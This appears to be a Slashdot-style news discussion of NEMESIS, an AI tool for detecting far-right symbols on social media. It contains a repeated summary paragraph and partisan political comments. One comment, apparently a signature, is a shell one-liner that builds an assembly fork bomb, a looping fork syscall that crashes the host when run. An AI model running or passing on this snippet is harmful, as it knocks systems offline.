Ex-NSA Hacker Is Building an AI To Find Hate and Far-Right Symbols on Twitter and Facebook (vice.com)
Motherboard reporter Lorenzo Franceschi-Bicchierai has interviewed Emily Crose, a former NSA hacker, who has built NEMESIS, an AI-powered program that can help spot symbols that have been co-opted by hate groups to signal to each other in plain sight. Crose, who has also moderated Reddit in the past, thought of building NEMESIS after the Charlottesville, Virginia incident last year. From the report: Crose's motivation is to expose white nationalists who use more or less obscure, mundane, or abstract symbols -- or so-called dog whistles -- in their posts, such as the Black Sun and certain Pepe the frog memes. Crose's goal is not only to expose people who use these symbols online but hopefully also push the social media companies to clamp down on hateful rhetoric online. "The real goal is to educate people," Crose told me in a phone call. "And a secondary goal: I'd really like to get the social media platforms to start thinking how they can enforce some decency on their own platforms, a certain level of decorum." [...]
At a glance, the way NEMESIS works is relatively simple. There's an "inference graph," which is a mathematical representation of trained images, classified as Nazi or white supremacist symbols. This inference graph trains the system with machine learning to identify the symbols in the wild, whether they are in pictures or videos. In a way, NEMESIS is dumb, according to Crose, because there are still humans involved, at least at the beginning. NEMESIS needs a human to curate the pictures of the symbols in the inference graph and make sure they are being used in a white supremacist context. For Crose, that's the key to the whole project -- she absolutely does not want NEMESIS to flag users who post Hindu swastikas, for example -- so NEMESIS needs to understand the context. "It takes thousands and thousands of images to get it to work just right," she said.
At a glance, the way NEMESIS works is relatively simple. There's an "inference graph," which is a mathematical representation of trained images, classified as Nazi or white supremacist symbols. This inference graph trains the system with machine learning to identify the symbols in the wild, whether they are in pictures or videos. In a way, NEMESIS is dumb, according to Crose, because there are still humans involved, at least at the beginning. NEMESIS needs a human to curate the pictures of the symbols in the inference graph and make sure they are being used in a white supremacist context. For Crose, that's the key to the whole project -- she absolutely does not want NEMESIS to flag users who post Hindu swastikas, for example -- so NEMESIS needs to understand the context. "It takes thousands and thousands of images to get it to work just right," she said.
Nothing can possibly go wrong with this. It has everything: NSA, hacking, white supremacists, reddit, AI. Definitely worth funding.
It definitely needs to find a way to filter out ANYTHING that might be Xenophobic because that's always racist.
Unless it's about Russia.
Or unless it's about Boycott, Divest & Sanction which is the politically correct way to literally act like 1933-era Hitler but OK on the UC Berkeley campus so not a hate group.
Or unless it's misgynistic AND xenophobic remarks about Melania Trump because reasons.
Or unless it's antisemitism directed at Ivanka Trump because similar reasons.
Communism is both much deadlier and more socially-accepted than any other kind of hateful school of thought today.
Anything "fighting evil" that ignores images of Che Guevara and like symbols is simply partisan b.s.
In Soviet Washington the swamp drains you.
You got it wrong, communists never killed anyone. The ones you are referring too aren't real communists because of some stupid criteria I made up.
Because it's Salami Tactics by the Far Left.
https://en.wikipedia.org/wiki/...
The term Salami tactics (Hungarian: szalámitaktika) was coined in the late 1940s by the orthodox communist leader Mátyás Rákosi to describe the actions of the Hungarian Communist Party. Rákosi claimed he destroyed the non-Communist parties by "cutting them off like slices of salami." By portraying his opponents as fascists (or at the very least fascist sympathizers), he was able to get the opposition to slice off its right wing, then its centrists, then the more courageous left wingers, until only those fellow travelers willing to collaborate with the Communists remained in power.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Actually there is abundant data confirming that minorities get different treatment by police than whites. For example epidemiological research says whites are slightly more likely to use weed than blacks, but law enforcement statistics show that blacks are roughly 3x more likely to be arrested for marijuana possession.
It is also true that police actually shoot roughly twice as many white people per year as blacks, but there are five times as many whites as blacks. This doesn't mean that every time a cop shoots a black man that race is a factor, but statistically it is bound to be a factor in a large number of shootings, although not in the simplistic way favored by many left-wing blogs on the topic -- although that probably happens at least some of the time. Assuming that the police are no better or no worse than society at large they must have enough racist sociopaths to produce at least a few shootings like that per year.
Post may contain irony: discontinue use if experiencing mood swings, nausea or elevated blood pressure.